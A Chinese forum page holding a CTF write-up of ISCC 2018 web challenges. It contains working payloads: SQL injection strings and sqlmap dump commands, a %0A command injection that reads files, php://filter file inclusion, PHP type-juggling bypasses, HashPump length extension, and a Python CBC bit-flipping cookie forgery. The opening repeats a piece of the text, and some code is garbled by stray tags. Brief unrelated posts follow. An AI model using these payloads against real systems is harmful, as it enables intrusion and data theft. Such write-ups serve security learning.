cipher=base64.b64decode(urllib.unquote(cipher))
newcipher=cipher[0:9]+chr(ord(cipher[9])^ord('A')^ord('a'))+cipher[10:]
print "cipher:\n%s"%(urllib.quote(base64.b64encode(cipher)))
print "new cipher:\n%s"%(urllib.quote(base64.b64encode(newcipher)))




我来解释一下这段代码首先需要明白一个前提
异或运算相同为0,不同为1,所以推导出:一个字符和其本身异或结果为0,一个字符和0异或结果为其本身

解密(cipher[9+16])^cipher[9]='A'(这是正常的解密过程)
解密(cipher[9+16])^cipher[9]^'A'^'a'='a'(将A变为a,就要将第一分组中的第十个字节cipher[9]进行cipher[9]^'A'^'a'改变)此时cipher变为了bq1cO9PgjsrNf%2B1iItSFPsyT/taue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7/Du5pSgPzuq339vT4EWNfQ%3D%3D刷新登陆后的页面,将cookie中的cipher改为修改后的cipher










将返回base64_decode('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ==') can't unserialize的错误,因为如果修改第一组密文中的某个字节,初始化向量不变也会导致第一组明文解密时发生改变,从而导致解密出的序列化的格式发生改变而导致反序列化失败,所以还要根据这串返回的base64重新生成新的iv,让解密出的第一个分组的明文还原成原先的明文



import urllib
import base64
iv="pO%2FPPYF9sNQq9oGENmDdFA%3D%3D"
iv=base64.b64decode(urllib.unquote(iv))
jiamingwen = base64.b64decode(urllib.unquote('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))[/i][/i][/i]




同样的,解释一下这段代码有个前提
如果c=a^b
那么a=c^b,b=a^c

因为:
iv^解密(假密文)=假明文
iv^解密(假密文)^假明文=0(假明文^假明文=0)
所以:
iv^解密(假密文)^假明文^明文=明文(0^明文=明文)
又因为需要达到:
newiv^解密(假密文)=明文
所以:
newiv=iv^假明文^明文 所以新的iv变为dR9UMoe8drNhp9pRsl3%2Bxw%3D%3D然后将cookie中的cipher和iv同时改为新生成的即可,这样的话解密后只会将第二组明文的A变为a,而且第一分组解密出的明文并不会发生改变,序列化格式也自然不会改变,这样就可以反序列化成功,然后将$_SESSION['username']重新赋值为解密出的admin明文,然后绕过验证输出flag




flag:ISCC{123dasd89as10aas}


题目:Collide

HINT:那么长的秘钥,要爆破到什么时候啊





又是一道代码审计题<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60[i]60[/i]24*7);
setcookie("len", strlen($key), time()+60[i]60[/i]24*7);
}
show_source(__FILE__);可以看出这道题是考察hash长度扩展攻击的,对于这种攻击方式原理自己还没有完全搞懂,于是就把做题方法记录一下

首先,需要在linux中安装一个名为HashPump的工具,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。下面是安装方法git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install




之后POST提交username为guest,运行hashpump,将burp抓包抓到的cookie中的verify与len输入,然后输入数据和要追加的数据(guest与admin)





之后便会生成新的数据与hash值,分别将username与cookie中的verify改为hashpump新生成的值即可









flag:ISCC{MD5_1s_n0t_5afe}题目:php是世界上最好的语言





打开后可以看到代码如下<html>
<body>
<form action="md5.php" method="post" >
用户名:<input type="text" name="username"/>
密码:<input type="password" name ="password"/>
<input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}


show_source(__FILE__);
?>这里考察php的隐式类型转换,如果用双等号将一个字符串与数字进行比较时,会将字符串类型转为数字类型,所以在这里一般可以利用开头为0的MD5值绕过QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904
......输入用户名和以上其中一个字符串作为密码










进入第二关,代码如下NULL <?php
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);

?> 可以看出存在变量覆盖漏洞,利用全局变量’$GLOBALS’覆盖http://118.190.152.202:8005/no_md5.php?a=GLOBALS



flag:ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}题目:Sqli

题目直接说明这是一道注入,打开后是一个登陆框





测试一下是否存在注入输入username=' or 1=1 and 1=1#
password=123456会直接登陆成功并将我们输入的username:' or 1=1 and 1=1#
输出出来





输入username=' or 1=2 and 1=1#
password=123456则会显示输入的用户名或密码错误





由此可以判断username参数可能存在注入。大概的登陆验证过程:将输入的username与password拼接成sql查询语句带入数据库查询,如果查到结果便会登陆成功并显示输入的用户名,查询不到结果就会返回用户名或密码错误的提示可以看出该处是一个很普通的盲注,可以写脚本也可以直接用sqlmap,这里为了尽快拿到一血直接上sqlmapsqlmap.py -r "C:\Users\I'm possible\Desktop\post.txt" -p username --dump -C "kjafuibafuohnuvwnruniguankacbh" -T "news" -D "sqli_database"



flag{hahaha999999999}题目:有种你来绕

HINT:我都过滤了,看你怎么绕。记住是mysql
之前在社区发过的一道题,链接
注入出来管理员密码后进入后台





后台并没有flag,看提示应该是命名执行,但是试了好多命令都没有回显,最后偶然输入了flag,结果flag就出来了。。。




flag{sql_iNjEct_Is_Easy}
  查看全部

之前发的一篇文章,内容没有显示出来,应该是内容过多或者是一些字符的问题,现在重新发表一下,因为可能有字数限制,所以可能会以几个部分分别发布,目的是将自己解出的题分享出来,通过这篇文章希望给大家带来一些新知识

web方向
题目:比较数字大小
HINT:只要比服务器上的数字大就好了

1.png

发现题目只有一个输入框,限制只能输入3个字符,看起来像是前端限制,于是firebug查看元素,发现maxlength值为3,将3改为100,随意输入个大数字,flag就出来了

1.png


1.png
flag:key is 768HKyu678567&*&K
题目:本地的诱惑

HINT:小明扫描了他心爱的小红的电脑,发现开放了一个8013端口,但是当小明去访问的时候却发现只允许从本地访问,可他心爱的小红不敢让这个诡异的小明触碰她的电脑,可小明真的想知道小红电脑的8013端口到底隐藏着什么秘密(key)?(签到题)
该题为web的签到题,打开后发现是这样的

1.png

必须从本地访问,于是想到了伪造X-Forwarded-For,后来发现直接访问源代码就能得到flag,果然是签到题啊

1.png
flag:ISCC{^&*(UIHKJjkadshf}
题目:你能跨过去吗?

HINT:如果你对xss了解的话,那你一定知道key是什么了,加油!

1.png


看到xss便首先尝试在输入框里提交XSSPaylaod,结果发现根本找不到输出点,不管提交多少次都是”加油再试一次”,然后发现页面有一串字符非常像base64编码
ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0
base64解码了一下,发现是XSSpayload,里面有我们要的key

1.png

因为key的16进制中有00,代表结束符(截断),所以要将key中的00字符都删掉,才能将key复制下来

1.png
key:/%nsfocusXSStest%/
key不是flag,将
/%nsfocusXSStest%/
提交到页面输入框才能弹出来flag

1.png
flag{Hell0World}
题目:一切都是套路

HINT:好像有个文件忘记删了

自己的字典太垃圾,啥也没扫出来,经过一个表哥强大的字典发现扫出了index.php.txt,内容如下
<?php

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>
进行一波代码审计发现考察的是php变量覆盖,构造payload
http://118.190.152.202:8009/index.php?_200=flag









 
带上POST参数
flag=

1.png

我来讲解一下详细的过程,首先代码要求必须有POST参数,而且POST参数的参数名必须为flag,这样才可以到变量覆盖的那一步,接着提交GET参数_200=flag,php代码遍历$_GET数组执行的便是$_200=$flag,也就是将变量$flag的值复制给$_200,覆盖原先变量$_200的值,此时变量$_200的值为$flag中的值,接着php遍历$_POST数组,我们提交的POST参数为flag=空(任意值),于是将POST的值复制给$flag值,覆盖原先的$flag值,$_POST["flag"]便会和$flag值相等,都为空(任意值),最后输出变量$_200的值,也就是原先$flag中的flag
flag: ISCC{taolu2333333....}
题目:你能绕过吗?

HINT:没过滤好啊

1.png
http://118.190.152.202:8008/index.php?f=articles&id=1









 一开始以为id参数没过滤好,于是尝试了注入,结果被坑了,原来是f参数没过滤好,存在文件包含,通过文件包含漏洞使用php伪协议读取index.php的源代码
payload:http://118.190.152.202:8008/index.php?f=PHP://filter/read=convert.base64-encode/resource=index&id=1
 payload中的php要大写,否则会被拦截

1.png

得到一串base64,解码得到源码,源码中有flag

1.png
flag:ISCC{LFIOOOOOOOOOOOOOO}








题目:web02

1.png

要求ip为本机ip,尝试Referer和X-forwarded-For都不行,最后搜索了一番,发现伪造ip还可以用Client-ip 将ip伪造成127.0.0.1即可

1.png
flag:ISCC{iscc_059eeb8c0c33eb62}
题目:请ping我的ip 看你能Ping通吗?

HINT:我都过滤了,看你怎么绕。

1.png

看到这样一句话:请ping我的IP 看你会ping通吗尝试
http://118.190.152.202:8018/?ip=118.190.152.202








 
发现可以执行ping命令


1.png

猜测后台php代码应该如下,类似于dvwa中的命令执行
shell_exec( 'ping ' . waf($_GET[ip]) )
尝试在ping命令后执行多条命令,发现&,&&,|都不行,最后测试发现使用%0A可以绕过,读取flag.txt payload
http://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20flag.txt

1.png


读取index.php payload
http://118.190.152.202:8018/?ip=www.baidu.com%0Acat%20index.php
可以看到源码里正如我们之前猜测的那样 

1.png


当然这到题也有非常规解法,既然要用命令执行去读取flag.txt,不如直接访问网站根目录下的flag.txt就能得到flag

1.png
ISCC{8a8646c7a2fce16b166fbc68ca65f9e4}
题目:Please give me username and password!

1.png

题目说Please give me username or password! 那在url后添加GET参数username与password
http://118.190.152.202:8017/?username=&&password=
再查看源代码可以看到html注释里面有个index.php.txt

1.png

访问index.php.txt,发现源代码,又是一道代码审计题
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>
可以看到只要绕过对username和password的过滤便能得到flag

strcasecmp的绕过可以利用数组,strcasecmp这个函数在比较一个数组和字符串时会因为类型不一致而报错,从而函数返回False,又因为将False与0以双等号(不严格的比较)进行比较发生了一次隐私类型转换,所以结果为真,从而绕过,后面要求数字长度小于4且大于999可以用php中的科学计数法绕过,构造payload
http://118.190.152.202:8017/?username=&&password=1e9

1.png
flag{ISCC2018_Very_GOOD!}
题目:SQL注入的艺术

1.png

找到一个可能存在注入的连接
http://118.190.152.202:8015/index.php?id=1






猜测id参数可能存在注入,加单引号和双引号页面均返回正常并不会报错,于是猜测引号可能被转义了,尝试宽字节注入 
http://118.190.152.202:8015/index.php?id=1%df'
发现页面返回不正常

1.png

于是尝试进行and逻辑判断确认是否存在注入
http://118.190.152.202:8015/index.php?id=1%df' and 1=1%23

1.png
http://118.190.152.202:8015/index.php?id=1%df' and 1=2%23

1.png

order by 测试出列数为8,union查询确定出注入回显的位置
http://118.190.152.202:8015/index.php?id=-1%df' union select 1,2,3,4,5,6,7,8%23

1.png

接下来可以union手工注入,也可以用sqlmap跑,sqlmap跑的时候要使用tamper脚本unmagicquotes.py来绕过单引号转义过滤,为了方便直接上sqlmap,获取flag的命令
sqlmap.py -u "http://118.190.152.202:8015/index.php?id=1'" --dump -C "flag" -T "admins" -D "baji" --tamper="unmagicquotes.py"
1.png
flag:Y0u_@@33w_dxxmn_9rf0Od
题目:试试看

HINT:随意开火

1.png

这道题一开始就觉得是文件包含,但是使用php协议读文件时发现一直出现File not found,一直不知为何,直到谷歌搜出了类似的一道题才找到思路,这里的思路大概一样,只要绕过正则表达式即可,经过模糊测试,发现
http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=../flag.php





可以读到flag.php中的flag 

1.png
flag{1ntere5ting_PHP_Regu1ar_express1onssssss}
http://118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=1.jpgresource=show.php
可以读取show.php查看它的过滤 

1.png
<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false &&preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}

preg_match('/^php:\/\/filter.[i]resource=([^|][/i])/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}

header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}

}
else
{
?>
<img src="1.jpg">
<?php
}
?>
可以看到由于正则过滤不严导致可以去读取flag
题目:Only admin can see flag(这道题很有意思,用到了CBC翻转字节攻击的方法,感觉很不错,能学到新知识)

打开后是一个登陆页面

1.png

出于习惯首先查看源代码,结果发现泄露了index.php的源码

1.png

查看源代码,可以看出又是一道代码审计题

1.png

代码如下
<?php
include 'sqlwaf.php';
define("SECRET_KEY", "................");
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$iv='';
for($i=0;$i<16;$i++){
$iv.=chr(rand(1,255));
}
return $iv;
}
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is *************</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
die();
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

if (isset($_POST['username'])&&isset($_POST['password'])) {
$username=waf((string)$_POST['username']);
$password=waf((string)$_POST['password']);
if($username === 'admin'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
?>
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Paper login form</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="login">
<form action="" method="post">
<h1>Sign In</h1>
<input name='username' type="text" placeholder="Username">
<input name='password' type="password" placeholder="Password">
<button>Sign in</button>
</div>
</body>
</html>
来看代码的主要执行过程与用户数据流的流向

首先,如果存在有用户POST传递过来的username与password,那就接收用户输入的username与password,将用户输入的内容转换为字符串类型然后带入waf函数进行过滤检查处理(应该是过滤一些危险字符),之后使用===检查username的值是否为admin,如果相等直接输出You are not real admin!到页面并且结束,否则将username与password存入数组然后带入login函数,通过代码可以看出login函数的主要作用,将传入的存有username与password的数组进行序列化处理后再使用php中的openssl_encrypt函数进行aes-128-cbc加密,加密的初始化向量为随机生成的16字节的字符串,之后将传入的用户名传入服务器中session文件中的username变量中,将初始化向量与加密结果进行base64编码后分别存入cookie中的iv与cipher中,之后cookie就作为该用户的登陆凭证,简单来说,就是如果用户名不等于admin就登陆成功并且将用户名存入服务器的session变量中,之后setcookie,然后进入用户界面,此处使用show_homepage函数判断,这个函数会判断session中的username是否为admin,如果为admin,那就登陆成功并输出flag,否则就以普通用户登录

如果发现服务器session文件中的username变量已被设置,说明之前有用户登录了,就不使用login函数进行进行登陆检查,而是使用check_login函数进行用户身份检查,通过代码可以看出check_login函数的主要作用,检查cookie中是否设置有cipher和iv,如果有,就对cookie中的cipher与iv进行base64解码,然后使用php中的openssl_decrypt函数进行aes-128-cbc解密,将解密的结果进行反序列化处理为数组,之后将数组中的username赋值给session中的username,之后进入用户登录界面,再次调用show_homepage

来分析一下整个逻辑过程

简单来说,要求输入的用户名不能为admin才能登陆成功,但是进行用户身份检查时需要$_SESSION中的username必须等于admin才能登陆成功,于是想到了可以首先以一个用户名不是admin的用户登录,设置$_SESSION['username'],之后刷新登陆页面,将会带上生成的cookie进入check_login函数,我们可以修改cookie中的cipher与iv,使其经过aes-128-cbc解密反序列化后将$info['username']的值变为admin即可覆盖第一次登陆后设置的$_SESSION['name'],将其变为admin,此时经过show_homepage后就会是admin并且输出flag

在这里加密解密的密钥是未知的,iv初始化向量是随机生成的,导致我们不能直接利用加密算法生成cookie,于是想到了一种名为CBC翻转字节攻击的方法,该攻击可以在不知道密钥的前提下,通过修改密文中某一处的字节达到修改部分明文的目的,具体过程如下,首先来看AES的CBC模式的加密解密过程,分组长度为16字节加密
加密

1.jpg


解密

1.jpg

所谓的CBC翻转字节攻击就是通过修改某一分组的密文,去修改其下一分组的明文

1.png

比如明文分组如下,以题目举例
a:2:{s:8:"userna
me";s:5:"Admin";
s:8:"password";s
:6:"123456";}
要将Admin修改为admin,只需修改加密后第一个分组中的第10个字节,也就是对应A所在位置的"的密文就可以首先要以Admin登陆,获取Set-Cookie中的cipher与iv,cipher里面存放着将上面那串字符串加密的密文,iv为随机生成的16位字符串,作为加密解密的初始化向量

1.png


1.png
iv:pO%2FPPYF9sNQq9oGENmDdFA%3D%3D
cipher:bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D
首先修改密文的第一个分组的第十个字节
import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"Admin";
#s:8:"password";s
#:6:"123456";}
cipher="bq1cO9PgjsrNX%2B1iItSFPsyT%2Ftaue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7%2FDu5pSgPzuq339vT4EWNfQ%3D%3D"
cipher=base64.b64decode(urllib.unquote(cipher))
newcipher=cipher[0:9]+chr(ord(cipher[9])^ord('A')^ord('a'))+cipher[10:]
print "cipher:\n%s"%(urllib.quote(base64.b64encode(cipher)))
print "new cipher:\n%s"%(urllib.quote(base64.b64encode(newcipher)))

1.png

我来解释一下这段代码
首先需要明白一个前提
异或运算相同为0,不同为1,所以推导出:一个字符和其本身异或结果为0,一个字符和0异或结果为其本身

解密(cipher[9+16])^cipher[9]='A'(这是正常的解密过程)
解密(cipher[9+16])^cipher[9]^'A'^'a'='a'(将A变为a,就要将第一分组中的第十个字节cipher[9]进行cipher[9]^'A'^'a'改变)
此时cipher变为了
bq1cO9PgjsrNf%2B1iItSFPsyT/taue76NjOh1oAZOMHsVI74GT7iCFIeGBksNNh%2B7/Du5pSgPzuq339vT4EWNfQ%3D%3D
刷新登陆后的页面,将cookie中的cipher改为修改后的cipher

1.png



1.png
将返回base64_decode('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ==') can't unserialize的错误,因为如果修改第一组密文中的某个字节,初始化向量不变也会导致第一组明文解密时发生改变,从而导致解密出的序列化的格式发生改变而导致反序列化失败,所以还要根据这串返回的base64重新生成新的iv,让解密出的第一个分组的明文还原成原先的明文

1.png
import urllib
import base64
iv="pO%2FPPYF9sNQq9oGENmDdFA%3D%3D"
iv=base64.b64decode(urllib.unquote(iv))
jiamingwen = base64.b64decode(urllib.unquote('sMqpNX2y/F9xcy6m4U9Nsm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))[/i][/i][/i]

1.png

同样的,解释一下这段代码
有个前提
如果c=a^b
那么a=c^b,b=a^c

因为:
iv^解密(假密文)=假明文
iv^解密(假密文)^假明文=0(假明文^假明文=0)
所以:
iv^解密(假密文)^假明文^明文=明文(0^明文=明文)
又因为需要达到:
newiv^解密(假密文)=明文
所以:
newiv=iv^假明文^明文
所以新的iv变为
dR9UMoe8drNhp9pRsl3%2Bxw%3D%3D
然后将cookie中的cipher和iv同时改为新生成的即可,这样的话解密后只会将第二组明文的A变为a,而且第一分组解密出的明文并不会发生改变,序列化格式也自然不会改变,这样就可以反序列化成功,然后将$_SESSION['username']重新赋值为解密出的admin明文,然后绕过验证输出flag

1.png
flag:ISCC{123dasd89as10aas}


题目:Collide

HINT:那么长的秘钥,要爆破到什么时候啊

1.png

又是一道代码审计题
<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60[i]60[/i]24*7);
setcookie("len", strlen($key), time()+60[i]60[/i]24*7);
}
show_source(__FILE__);
可以看出这道题是考察hash长度扩展攻击的,对于这种攻击方式原理自己还没有完全搞懂,于是就把做题方法记录一下

首先,需要在linux中安装一个名为HashPump的工具,HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。下面是安装方法
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

1.png

之后POST提交username为guest,运行hashpump,将burp抓包抓到的cookie中的verify与len输入,然后输入数据和要追加的数据(guest与admin)

1.png

之后便会生成新的数据与hash值,分别将username与cookie中的verify改为hashpump新生成的值即可

1.png


1.png
flag:ISCC{MD5_1s_n0t_5afe}
题目:php是世界上最好的语言

1.png

打开后可以看到代码如下
<html>
<body>
<form action="md5.php" method="post" >
用户名:<input type="text" name="username"/>
密码:<input type="password" name ="password"/>
<input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}


show_source(__FILE__);
?>
这里考察php的隐式类型转换,如果用双等号将一个字符串与数字进行比较时,会将字符串类型转为数字类型,所以在这里一般可以利用开头为0的MD5值绕过
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904
......
输入用户名和以上其中一个字符串作为密码

1.png


1.png

进入第二关,代码如下
NULL <?php
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);

?>
可以看出存在变量覆盖漏洞,利用全局变量’$GLOBALS’覆盖
http://118.190.152.202:8005/no_md5.php?a=GLOBALS

1.png
flag:ISCC{a39f9a1ff7eb4bab8a6a21b2ce111b4}
题目:Sqli

题目直接说明这是一道注入,打开后是一个登陆框

1.png

测试一下是否存在注入输入
username=' or 1=1 and 1=1#
password=123456
会直接登陆成功并将我们输入的
username:' or 1=1 and 1=1#

输出出来

1.png

输入
username=' or 1=2 and 1=1#
password=123456
则会显示输入的用户名或密码错误

1.png

由此可以判断username参数可能存在注入。大概的登陆验证过程:将输入的username与password拼接成sql查询语句带入数据库查询,如果查到结果便会登陆成功并显示输入的用户名,查询不到结果就会返回用户名或密码错误的提示可以看出该处是一个很普通的盲注,可以写脚本也可以直接用sqlmap,这里为了尽快拿到一血直接上sqlmap
sqlmap.py -r "C:\Users\I'm possible\Desktop\post.txt" -p username --dump -C "kjafuibafuohnuvwnruniguankacbh" -T "news" -D "sqli_database"

1.png
flag{hahaha999999999}
题目:有种你来绕

HINT:我都过滤了,看你怎么绕。记住是mysql
之前在社区发过的一道题,链接
注入出来管理员密码后进入后台

1.png

后台并没有flag,看提示应该是命名执行,但是试了好多命令都没有回显,最后偶然输入了flag,结果flag就出来了。。。

1.png
flag{sql_iNjEct_Is_Easy} 

 

风控相关的文章

发表了文章 • 0 个评论 • 398 次浏览 • 2017-06-16 11:10 • 来自相关话题

http://www.toutiao.com/a3718846612/   OKcoin风控:安全有余、体验不足
http://www.pmcaff.com/discuss/index/1000000000152950  支付风控如何进行搭建?
http://www.woshipm.com/operate/562096.html  干货贴:互联网金融风控基础知识(一)
http://www.woshipm.com/it/573697.html   干货贴|互联网金融风控基础知识(二)
https://www.easyaq.com/news/1637006072.shtml  业务安全通用解决方案--WAF数据风控
  查看全部
http://www.toutiao.com/a3718846612/   OKcoin风控:安全有余、体验不足
http://www.pmcaff.com/discuss/index/1000000000152950  支付风控如何进行搭建?
http://www.woshipm.com/operate/562096.html  干货贴:互联网金融风控基础知识(一)
http://www.woshipm.com/it/573697.html   干货贴|互联网金融风控基础知识(二)
https://www.easyaq.com/news/1637006072.shtml  业务安全通用解决方案--WAF数据风控
 

5.20 赛克艾威公开课期待您的到来

ttgo2 发表了文章 • 0 个评论 • 584 次浏览 • 2017-05-16 11:37 • 来自相关话题

5月20日(本周六),地址:海淀区大钟寺中坤广场E座6楼602室,各路江湖大侠汇聚一起,分享安全漏洞和行业趋势,助力大家更好的走进渗透测试领域。具体详见如下链接:
http://g.eqxiu.com/s/Wn19bBx3?eqrcode=1&from=timeline 查看全部
5月20日(本周六),地址:海淀区大钟寺中坤广场E座6楼602室,各路江湖大侠汇聚一起,分享安全漏洞和行业趋势,助力大家更好的走进渗透测试领域。具体详见如下链接:
http://g.eqxiu.com/s/Wn19bBx3?eqrcode=1&from=timeline

全国多地中石油加油站突然断网:支付受限加油正常

ttgo2 发表了文章 • 0 个评论 • 577 次浏览 • 2017-05-13 21:50 • 来自相关话题

转载:
近日,全球范围内大面积发生勒索病毒攻击事件,国内部分校园网也受到波及。值得注意的是,加油站外部支付需使用外网,而加油业务在内网运行,断网事件与病毒攻击是否关联目前仍未得到证实。有网络安全专家分析称,从理论上,这次攻击只针对windows系统,石油系统及工业互联网不会被波及,除非有专门的针对这一系统的病毒被开发。
http://stock.10jqka.com.cn/20170513/c598558997.shtml 查看全部
转载:
近日,全球范围内大面积发生勒索病毒攻击事件,国内部分校园网也受到波及。值得注意的是,加油站外部支付需使用外网,而加油业务在内网运行,断网事件与病毒攻击是否关联目前仍未得到证实。有网络安全专家分析称,从理论上,这次攻击只针对windows系统,石油系统及工业互联网不会被波及,除非有专门的针对这一系统的病毒被开发。
http://stock.10jqka.com.cn/20170513/c598558997.shtml